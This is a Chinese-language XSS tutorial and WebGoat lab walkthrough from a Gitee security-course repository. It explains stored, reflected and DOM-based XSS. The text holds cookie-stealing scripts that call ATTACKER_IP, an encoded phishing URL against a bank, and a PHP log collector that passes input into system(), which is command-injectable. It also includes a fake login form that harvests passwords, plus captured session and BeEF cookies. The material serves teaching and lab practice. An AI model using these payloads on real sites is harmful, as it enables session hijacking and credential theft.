5 Star 20 Fork 0

wildlinux / NetSec

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
克隆/下载
0x62_Web_XSS.md 8.15 KB
一键复制 编辑 原始数据 按行查看 历史
wildlinux 提交于 2018-05-23 09:37 . XSS reformat

XSS跨站脚本

最后更新:wildlinux 20161019

1 综述

XSS一直是OWASP排名前三的漏洞。

简单说,就是在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行。

2 分类

2.1 Persistent or Stored

The attack vector is stored at the server 

这是最容易理解的一种。在任何BBS的帖子中,只要是能留言的地方,在输入留言的地方输入脚本,如果服务器后台过滤不严格,将该脚本存储到后台。那随后任何用户浏览该网页,服务器都会从后台提取所有用户留言,包括恶意脚本,生成网页,发给浏览者,那浏览者都会"收到"该脚本,并在其浏览器中运行。

攻击场景:

  1. 服务器(大家就想像成一个贴吧、BBS、留言板之类)有漏洞,对用户输入没有严格验证。
  2. 一个恶意用户在某话题留言的地方输入一段脚本,如:

<script>
 str="http://ATTACKER_IP/attacker.php?para=" + document.cookie; 
 XSSImage=new Image; 
 XSSImage.src=str;
</script>
  1. 提交后,该脚本被当成正常文字存储到服务器后台。
  2. 任何用户浏览该贴时,上面的脚本都会被服务器当成留言放到网页中发给用户。
  3. 用户浏览器显示该网页时,会将其解析为脚本,并运行,将当前浏览者的cookie被发送到http://ATTACKER_IP/attacker.php。

2.2 Reflected

  The attack value is ‘reflected’ back by the server 

Reflect即"反射"。攻击者发出的攻击代码 被 有漏洞的服务器,反射到受害者的浏览器中。

攻击场景:

  1. 先得有一个有漏洞的服务器网页。http://www.somebank.com/help.php?clientname=lyd
  2. 该网页会将clientname不加验证,直接显示在网页中:echo ($_GET["clientname"]);
  3. 这个问题被坏人注意到了,"咦,这个可以用来钓鱼哦!还是个大银行。嗯,别人一定不会觉得打开这个银行的网页会受到攻击吧,哈哈!"
  4. 先做一个攻击URL:

http://www.somebank.com/help.php?clientname=<script>str="http://ATTACKER_IP/attacker.php?para="+document.cookie;XSSImage=new Image;XSSImage.src=str;</script>

当然这只是个最初的原理演示,不能真正用起来。然后我们需要将其中的符号替换为编码,如空格替换为%20。最后大约会是如下这个样子:


http://www.somebank.com/help.php?clientname%3d%3cscript%3estr%3d%22http%3a%2f%2fATTACKER_IP%2fattacker.php%3fpara%3d%22%2bdocument.cookie%3bXSSImage%3dnew+Image%3bXSSImage.src%3dstr%3b%3c%2fscript%3e
这个URL其实也没实际验证哦:)
  1. 然后坏人就可以将这个链接用邮件发给你了"您有逾期账单请尽快还款",内容就是这个链接。
  2. 你收到了一看"是银行的网站!应该没问题,点开看看!"。
  3. 然后你的cookie就被偷走了。
  4. clientname参数的那一大串值呢,术语就叫payload。这个攻击payload,在你点击如上攻击链接时,首先是你发给服务器,然后服务器收到后,简单加工下再返回给你。不同在于,你发的是参数的值,服务器放到网页里返回。

2.3 DOM Based

  The vulnerability is in the client side code 

JavaScript提到的DOM模型大家得知道吧,就是代表当前网页的对象。JavaScript就是利用DOM来动态更改网页的内容的,这里的"动态更改"是由可以直接在浏览器里运行JavaScript来实现的。和后台服务器没关系了。

现在的网页,编写的越来越复杂,会有大量的javascript脚本,在本地做大量的处理。不信你随便看一个网站的源代码,都是javascript动态交互的代码。没真正搞过web开发的很难看懂。

我们呢,还是说最简单的例子吧。

1.也得有个有漏洞的服务器网页吧。和反射类型的类似。不同之处在于,反射式漏洞是后台PHP将clientname直接显示在网页中。DOM类型漏洞的是Javascript将数据未加验证动态添加到网页中。

http://somebank.com/help2.php?clientname=Joe

Hello 
<script> 
var pos=document.URL.indexOf("clientname=")+5; 
document.write(document.URL.substring(pos,document.URL.length)); 
</script>

2.就举的这个例子而言,后面的攻击利用流程和反射式的一样。

3. 实践

3.1综述

  • 自己搭建一个可以保存窃取数据的网站,并正常启动。
  • 启动Webgoat并进入相应的题目.
  • 提交攻击脚本,窃取Webgoat登陆后的会话cookie。
  • 利用窃取的cookie登陆该网站。

3.2 过程

3.2.1 搭建恶意网站

其实就是一个网页,URL是http://127.0.0.1:8088/imgsrc.php?username=hi&password=pwd&ck=ck

作用就是将传来的三个参数保存到lyd.log中。


<!DOCTYPE html>
<html>
<body>

<?php

echo "这个PHP是用来保存传过来的参数的!";

$uname=($_GET["username"]);
$pwd=($_GET["password"]);
$ck=($_GET["ck"]);

system("echo `date`:".$uname.".".$pwd.".".$ck." >> /var/www/html/lyd.log");

?>

</body>
</html>

3.2.2 题目1: Webgoat->Cross Site Scripting->Phishing With XSS


<script>
function hack(){
  str="username=" + document.phish.user.value + "&password=" + document.phish.pass.value + "" + "&ck=" + document.cookie;  
  str2="http://127.0.0.1:8088/imgsrc.php?" + str;

   XSSImage=new Image; 
   XSSImage.src=str2;
   alert(str2);
}
</script>

</form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="submit" value="Login" onclick="hack()"><br>
</form><br><br><HR>

3.2.3 题目2: Webgoat->Cross Site Scripting->Stored XSS Attackers

3.2.4 题目3: Webgoat->Cross Site Scripting->Reflected XSS Attackers

1.在题目输入 **Enter your three digit access code:**的地方,输入如下内容:


<script>  str="http://127.0.0.1:8088/imgsrc.php?ck=" + document.cookie;   XSSImage=new Image;   XSSImage.src=str; </script>

2.点击Purchase

3.查看log

最后一行就是刚窃取来的


root@KaliYL:/var/www/html# more lyd.log
Wed Oct 19 09:40:12 CST 2016:hi.pwd.ck
Wed Oct 19 09:40:30 CST 2016:hi.pwd.ck
Wed Oct 19 09:40:30 CST 2016:hi.pwd.ck
Wed Oct 19 09:42:52 CST 2016:hi.pwd.ck
Wed Oct 19 09:49:45 CST 2016:hi.pwd.ck
Wed Oct 19 09:50:30 CST 2016:hi.pwd.ck
Wed Oct 19 09:50:33 CST 2016:hi.pwd.ck
Wed Oct 19 09:53:01 CST 2016:..BEEFHOOK=B2fglB6iKDtgNIQYjC3L79QWC0BNuVeyeSBdlXWu
kUdJRxWCiIkuqqZYx19fSVhN2ImehIfAaUzriMbi

4.构造攻击URL

点击Purchase时,使用Burpsuite抓包:


GET /WebGoat/attack?Screen=288&menu=900&QTY1=1&QTY2=1&QTY3=1&QTY4=1&field2=4128+3214+0002+1999&field1=%3Cscript%3E++str%3D%22http%3A%2F%2F127.0.0.1%3A8088%2Fimgsrc.php%3Fck%3D%22+%2B+document.cookie%3B+++XSSImage%3Dnew+Image%3B+++XSSImage.src%3Dstr%3B+%3C%2Fscript%3E&SUBMIT=Purchase HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Cookie: JSESSIONID=B95E6670158F9DC7A5C1C21DAA71503B; BEEFHOOK=B2fglB6iKDtgNIQYjC3L79QWC0BNuVeyeSBdlXWukUdJRxWCiIkuqqZYx19fSVhN2ImehIfAaUzriMbi; BEEFSESSION=dd160591ae730450e8d67e8fdaebd99efcb99ae26f9c323f68bfe5758f8c347a87aa68b174d1dd79d5d05eaa9a9620fda3ba9e96c23c890b9a7b599b40a029bae753deda6abf3948ce074640b8ae7884
Connection: close

其中一段就是攻击URL,给它前面拼接上http://webgoatIP:port,就可以邮件给别人了。


/WebGoat/attack?Screen=288&menu=900&QTY1=1&QTY2=1&QTY3=1&QTY4=1&field2=4128+3214+0002+1999&field1=%3Cscript%3E++str%3D%22http%3A%2F%2F127.0.0.1%3A8088%2Fimgsrc.php%3Fck%3D%22+%2B+document.cookie%3B+++XSSImage%3Dnew+Image%3B+++XSSImage.src%3Dstr%3B+%3C%2Fscript%3E&SUBMIT=Purchase

有效攻击的条件:

  • 对方在已经登陆Webgoat的情况下
  • 收到你发的攻击链接
  • 点击了链接
  • 那他的cookie就会被偷走
  • 你收到窃取的cookie要第一时间用,因为会话有超时限制

3.3 Cookie的利用

上面的例子都是偷cookie,那这个小甜饼真的很甜吗?咱这么招人爱呢?

1
https://gitee.com/wildlinux/NetSec.git
git@gitee.com:wildlinux/NetSec.git
wildlinux
NetSec
NetSec
master

搜索帮助